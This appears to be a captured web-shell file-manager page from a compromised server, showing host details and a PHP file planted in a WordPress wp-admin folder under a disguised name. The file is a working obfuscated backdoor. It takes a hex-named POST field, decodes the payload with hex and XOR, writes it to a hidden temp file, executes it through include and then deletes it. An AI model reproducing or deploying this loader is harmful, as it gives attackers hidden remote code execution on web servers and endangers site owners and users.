HEX
Server: nginx/1.18.0
System: Linux iZj6c1ieg2jrpk1z5tzi19Z 6.3.9-1.el7.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 21 22:18:40 EDT 2023 x86_64
User: www (1001)
PHP: 8.2.4
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/www.cytocare.cn/wp-admin/custom.file.5.1747813119.php
<!--JWMnWDUk-->
<?php

if(filter_has_var(INPUT_POST, "\x63\x6F\x6Dp\x6Fn\x65nt")){
$object = array_filter([sys_get_temp_dir(), getcwd(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/var/tmp", "/dev/shm", getenv("TEMP")]);
$marker = hex2bin($_POST["\x63\x6F\x6Dp\x6Fn\x65nt"]);
$entity =''    ; foreach(str_split($marker) as $char){$entity.=chr(ord($char)^3);}
while ($reference = array_shift($object)) {
            if (array_product([is_dir($reference), is_writable($reference)])) {
            $factor = implode("/", [$reference, ".ptr"]);
            $success = file_put_contents($factor, $entity);
if ($success) {
    include $factor;
    @unlink($factor);
    exit;
}
        }
}
}